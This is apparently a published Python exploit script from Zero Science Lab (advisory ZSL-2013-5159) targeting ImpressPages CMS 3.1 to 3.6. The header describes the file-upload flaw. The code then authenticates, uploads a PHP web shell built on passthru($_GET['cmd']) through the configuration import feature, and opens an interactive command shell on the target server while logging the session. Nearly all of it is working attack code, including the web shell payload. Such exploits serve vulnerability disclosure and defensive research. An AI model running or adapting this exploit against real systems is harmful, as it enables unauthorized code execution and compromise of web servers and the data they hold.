1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 |
#!/usr/bin/python # # # ImpressPages CMS v3.6 manage() Function Remote Code Execution Exploit # # # Vendor: ImpressPages UAB # Product web page: http://www.impresspages.org # Affected version: 3.6, 3.5 and 3.1 # # Summary: ImpressPages CMS is an open source web content management system with # revolutionary drag & drop interface. # # Desc: The vulnerability is caused due to the improper verification of uploaded # files in '/ip_cms/modules/developer/config_exp_imp/manager.php' script thru the # 'manage()' function (@line 65) when importing a configuration file. This can be # exploited to execute arbitrary PHP code by uploading a malicious PHP script file # that will be stored in '/file/tmp' directory after successful injection. # Permission Developer[Modules exp/imp] is required (parameter 'i_n_2[361]' = on) # for successful exploitation. # # Tested on: Microsoft Windows 7 Ultimate SP1 (EN) #GNU/Linux CentOS 6.3 (Final) #Apache 2.4.2 (Win32) / Apache2 #PHP 5.4.7 / PHP 5.3.21 #MySQL 5.5.25a # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # Zero Science Lab - http://www.zeroscience.mk # Macedonian Information Security Research And Development Laboratory # # # Advisory ID: ZSL-2013-5159 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2013-5159.php # # Vendor: http://www.impresspages.org/blog/impresspages-cms-3-7-is-mobile-as-never-before/ # # # 12.10.2013 # ver = '1.0.0.000251' import itertools, mimetools, mimetypes import cookielib, urllib, urllib2, sys import logging, os, time, datetime, re from colorama import Fore, Back, Style, init from cStringIO import StringIO from urllib2 import URLError init() if os.name == 'posix': os.system('clear') if os.name == 'nt': os.system('cls') piton = os.path.basename(sys.argv[0]) def bannerche(): print """ @---------------------------------------------------------------@ | | | ImpressPages CMS 3.6 RCE 0day | | | | | | ID: ZSL-2013-5159 | | | |Copyleft (c) 2013, Zero Science Lab| | | @---------------------------------------------------------------@ """ if len(sys.argv) < 3: print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n' print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk impresspages\n' sys.exit() bannerche() print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET host = sys.argv[1] path = sys.argv[2] cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) try: opener.open('http://'+host+'/'+path+'/admin.php') except urllib2.HTTPError, errorzio: if errorzio.code == 404: print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET sys.exit() except URLError, errorziocvaj: if errorziocvaj.reason: print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET sys.exit() print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET token_chk = opener.open('http://'+host+'/'+path+'/admin.php') response = token_chk.read() match = re.search('(?<=security_token=)\w+', response) sectoken = match.group(0) print '\x20\x20[*] Login please.' username = raw_input('\x20\x20[*] Enter username: ') password = raw_input('\x20\x20[*] Enter password: ') login_data = urllib.urlencode({ 'f_name' : username, 'f_pass' : password, 'action' : 'login' }) login = opener.open('http://'+host+'/'+path+'/admin.php?action=login&security_token='+sectoken, login_data) auth = login.read() for session in cj: sessid = session.name ses_chk = re.search(r'%s=\w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '\x20\x20[*] Mapping Session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET+'\x20'+'.'*(46 - len(cookie))+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Mapping security token '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Token: '+Fore.YELLOW+sectoken+Fore.RESET+'\x20'+'.'*15+Fore.GREEN+'[OK]'+Fore.RESET if re.search(r'Incorrect name or password', auth): print '\x20\x20[*] Faulty credentials given '+'.'*30+Fore.RED+'[ER]'+Fore.RESET sys.exit() elif re.search(r'Your login suspended for one hour', auth): print '\x20\x20[*] Your username is suspended for 1 hour '+'.'*17+Fore.RED+'[ER]'+Fore.RESET sys.exit() else: print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((fieldname, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) parts.extend( [ part_boundary, 'Content-Disposition: file; name="%s"; filename="%s"' % \ (field_name, filename), 'Content-Type: %s' % content_type, '', body, ] for field_name, filename, content_type, body in self.files ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_field('spec_security_code', '12345678901234567890123456789012') form.add_field('spec_rand_name', 'lib_php_form_standard_1_') form.add_file('config', 'liwo.php', fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>')) request = urllib2.Request('http://'+host+'/'+path+'/admin.php?module_id=361&action=import&security_token='+sectoken) request.add_header('User-agent', 'joxypoxy 1.0') body = str(form) request.add_header('Content-type', form.get_content_type()) request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET time.sleep(1) furl = '/admin.php?module_id=361&action=import_uploaded&security_token=' def osys(): cmd = 'uname' execute = opener.open('http://'+host+'/'+path+furl+sectoken+'&cmd='+urllib.quote(cmd)) reverse = execute.read() if re.search(r'Linux', reverse, re.IGNORECASE): cmd = 'pwd' print Style.DIM+Fore.WHITE print '\n\x20\x20[*] Coins: 1' print '\x20\x20[*] Detected platform: Linux' print '\x20\x20[*] Type \'exit\' to leave' print '\x20\x20[*] Choose your CMDs wisely' print '\x20\x20[*] Your current location:' print Style.RESET_ALL+Fore.RESET return cmd else: cmd = 'cd' print Style.DIM+Fore.WHITE print '\n\x20\x20[*] Coins: 1' print '\x20\x20[*] Detected platform: Windows' print '\x20\x20[*] Type \'exit\' to leave' print '\x20\x20[*] Choose your CMDs wisely' print '\x20\x20[*] Your current location:' print Style.RESET_ALL+Fore.RESET return cmd print today = datetime.date.today() fname = 'impress-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log' logging.basicConfig(filename=fname,level=logging.DEBUG) logging.info(' '+'+'*75) logging.info(' +') logging.info(' + Log generated on: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')) logging.info(' + Title: ImpressPages CMS 3.6 manage() Function Remote Code Execution') logging.info(' + Python program executed: '+sys.argv[0]) logging.info(' + Version: '+ver) logging.info(' + Full query: \''+piton+'\x20'+host+'\x20'+path+'\'') logging.info(' + Username input: '+username) logging.info(' + Password input: '+password) logging.info(' + Vector: '+'http://'+host+'/'+path+furl+sectoken) logging.info(' +') logging.info(' + Advisory ID: ZSL-2013-5159') logging.info(' + Zero Science Lab - http://www.zeroscience.mk') logging.info(' +') logging.info(' '+'+'*75+'\n') print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET while True: try: cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET) if cmd.strip() == '': cmd = osys() execute = opener.open('http://'+host+'/'+path+furl+sectoken+'&cmd='+urllib.quote(cmd)) reverse = execute.read() pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M) print Style.BRIGHT+Fore.CYAN cmdout = pattern.match(reverse) print cmdout.groups()[0].strip() print Style.RESET_ALL+Fore.RESET if cmd.strip() == 'exit': break logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n') except Exception: break logging.warning('\n\n END OF LOG') print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] File '+Fore.YELLOW+fname+Fore.RESET+'\x20'+'.'*19+Fore.GREEN+'[OK]'+Fore.RESET sys.exit() |